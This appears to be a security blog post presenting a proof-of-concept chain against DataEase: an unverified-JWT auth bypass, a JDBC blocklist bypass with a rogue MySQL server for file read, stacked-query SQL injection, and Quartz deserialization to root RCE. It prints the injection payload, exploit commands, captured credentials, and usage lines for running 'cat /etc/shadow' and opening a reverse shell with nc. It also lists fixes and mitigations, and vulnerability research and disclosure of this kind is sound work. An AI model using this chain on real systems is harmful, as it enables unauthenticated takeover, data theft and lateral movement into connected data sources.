joaovicdev@sec:~$

$ cat cve-2026-40901-dataease-rce-chain.mdx

CVE-2026-40901: DataEase 4-bug chain to unauthenticated root RCE

[CVE-2026-40901][cve][rce][dataease][deserialization][sqli][poc]
PoC & exploit on GitHub

Authorization: this is a self-contained lab built for education and authorized security research. The vulnerable DataEase instance runs locally in Docker and nothing leaves your machine. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.

Summary

DataEase is a widely deployed open-source BI / data-visualization platform (Java, Spring Boot). Versions ≤ v2.10.20 carry four separate issues that individually look modest, but chain cleanly from network reachability to remote code execution as root.

#CVEClassWhat it gives us
1CVE-2026-23958Auth bypass (CWE-287 / CWE-347)Act as admin — no valid signature needed
2CVE-2026-40899JDBC blocklist bypass (CWE-20)Arbitrary file read → backend DB creds
3CVE-2026-40900SQL injection, stacked queries (CWE-89)Write into DataEase's own database
4CVE-2026-40901Java deserialization (CWE-502)RCE as root via the Quartz job store

The final link is the interesting one: the deserialization sink isn't an HTTP body or a cookie, it's a BLOB column in the Quartz JDBC job store that the scheduler reads back with readObject() on its own timer.

Fixed in DataEase v2.10.21.

Impact

AxisWhat an attacker gets
ConfidentialityArbitrary host file read, backend DB credentials, every dashboard's data
IntegrityArbitrary code execution as root inside the container
AvailabilityFull control of the BI platform and its scheduler
Lateral movementDataEase sits on the internal network by design — it reaches the data sources

All of it pre-authentication: step 1 mints the admin token.

Affected versions

DataEaseStatus
≤ v2.10.20Vulnerable — full chain lands root RCE
≥ v2.10.21Fixed — signature verification, @JsonIgnore on the blocklist, allowMultiQueries blocked, vulnerable gadget dependency dropped

Proof of concept

1. CVE-2026-23958 — authentication bypass

The TokenFilter servlet filter hands the token to TokenUtils, which decodes it and never verifies it:

io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // decode only — NO signature check
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

The only real constraints are that the token is ≥ 100 characters and carries an integer uid claim. Any self-made JWT saying "uid": 1 runs as the built-in administrator. The companion share-link path (X-DE-LINK-TOKEN) is signed with the hardcoded key link-pwd-fit2cloud and was likewise decoded without verification. de_common.py implements forge_jwt() for this; the PoC can also just log in with the ubiquitous default admin / DataEase@123456.

Fixed in commit 00c169caa, which looks up the real per-resource secret and actually calls verifier.verify(...).

2. CVE-2026-40899 — JDBC blocklist bypass → arbitrary file read

DataEase refuses a set of dangerous JDBC parameters when you add a MySQL datasource. That blocklist lives in a Lombok @Data field:

io.dataease.datasource.type.Mysql
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

@Data generates a public setter, so Jackson happily populates it from attacker-controlled JSON. Sending "illegalParameters": [] in the Base64-encoded configuration blob empties the blocklist before it is checked. Point the datasource at a rogue MySQL server with allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ and read any file off the DataEase host through MySQL's LOCAL INFILE mechanism.

terminal A — rogue MySQL server
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml
terminal B — make DataEase connect to it
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

DataEase hands over its own backend credentials:

[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Fixed in 16a950f96 by adding @JsonIgnore to every illegalParameters field.

3. CVE-2026-40900 — stacked-query SQLi in previewSql

POST /de2api/datasetData/previewSql takes Base64-encoded SQL and wraps it as a subquery with no single-statement validation:

SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0

Comments are stripped, but the parentheses can be balanced and ; used to append statements. Since we control the datasource we can set allowMultiQueries=true (not on the v2.10.20 blocklist), so stacked queries execute:

the injected payload
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1

Pointing that datasource at DataEase's own database — using the credentials stolen in step 2 — gives write access to its Quartz tables. Fixed by 15611593b (allowMultiQueries added to the blocklist) and e89059d88.

4. CVE-2026-40901 — Quartz deserialization → RCE

DataEase schedules a recurring "datasource status check" Quartz job:

  • scheduler deSyncJob, job Datasource / check_status, class io.dataease.job.schedule.CheckDsStatusJob
  • cron 0 0/6 * * * ? * — every 6 minutes by default

Quartz runs with a JDBC job store and useProperties=false, so each job's JobDataMap is persisted in QRTZ_JOB_DETAILS.JOB_DATA as a raw Java-serialized object — the blob literally starts with the AC ED 00 05 serialization magic. When the scheduler scans for triggers:

org.quartz.impl.jdbcjobstore.StdJDBCDelegate
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()

DataEase bundles commons-collections-3.2.1.jar and velocity-1.7.jar — classic gadget sources. Step 3 overwrites JOB_DATA with a ysoserial CommonsCollections6 payload and, in the same stacked query, pulls the trigger's NEXT_FIRE_TIME forward to now so there's no 6-minute wait. On the next scan, readObject() fires LazyMapInvokerTransformerRuntime.exec and the command runs as root inside the container.

The PoC builds the gadget for you and handles the busybox quirk — the target shell is Alpine ash and Runtime.exec gets no shell — by wrapping the command as sh -c echo${IFS}<b64>|base64${IFS}-d|sh.

Fixed by e05bda764 and friends, which remove the vulnerable Velocity dependency and the reachability of the sink.

Repository layout

PathPurpose
docker-compose.ymlvulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.ymlrepoints the DB at the local mysql-de
mysql/my.cnf + init.sql (creates the empty dataease DB)
exploit/de_common.pyHTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql
exploit/de_rce_chain.pythe end-to-end auth → SQLi → Quartz deserialization RCE
exploit/rogue_mysql.pyminimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899
exploit/file_read.pydrives CVE-2026-40899 against the rogue server

Run it

Prerequisites: Docker (the CLI is also used to run ysoserial in a throwaway eclipse-temurin:8-jre container), and Python 3.8+ with cryptography.

1. Bring up the vulnerable lab:

docker compose up -d
pip install -r exploit/requirements.txt

Wait until http://localhost:8100/de2api/dekey returns 200 — the Flyway migration takes roughly 20 seconds. The web UI/API is on http://localhost:8100 (prefix /de2api), shipping default credentials admin / DataEase@123456, and the JVM runs as root inside its container.

2. Fire the chain:

python3 exploit/de_rce_chain.py

3. Confirm code execution a few seconds later:

docker exec dataease cat /tmp/pwned_CVE_2026_40901
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
PWNED_BY_CVE_2026_40901
Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Other payloads:

# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
 
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444

Fix and mitigations

  • Upgrade to DataEase ≥ v2.10.21.
  • Rotate the default admin password (DataEase@123456) immediately — the chain works just as well with a plain login as with the forged token.
  • Don't expose DataEase to untrusted networks; it is an internal tool with credentials to every data source you've connected.
  • Defense-in-depth for the sink: run Quartz with useProperties=true, apply a JVM deserialization filter (-Djdk.serialFilter=…), and drop commons-collections:3.2.1 / velocity:1.7 from the classpath.
  • The broader lesson from step 2: a security control expressed as a mutable bean field is not a control. @Data on a config class silently makes your blocklist attacker-writable.

References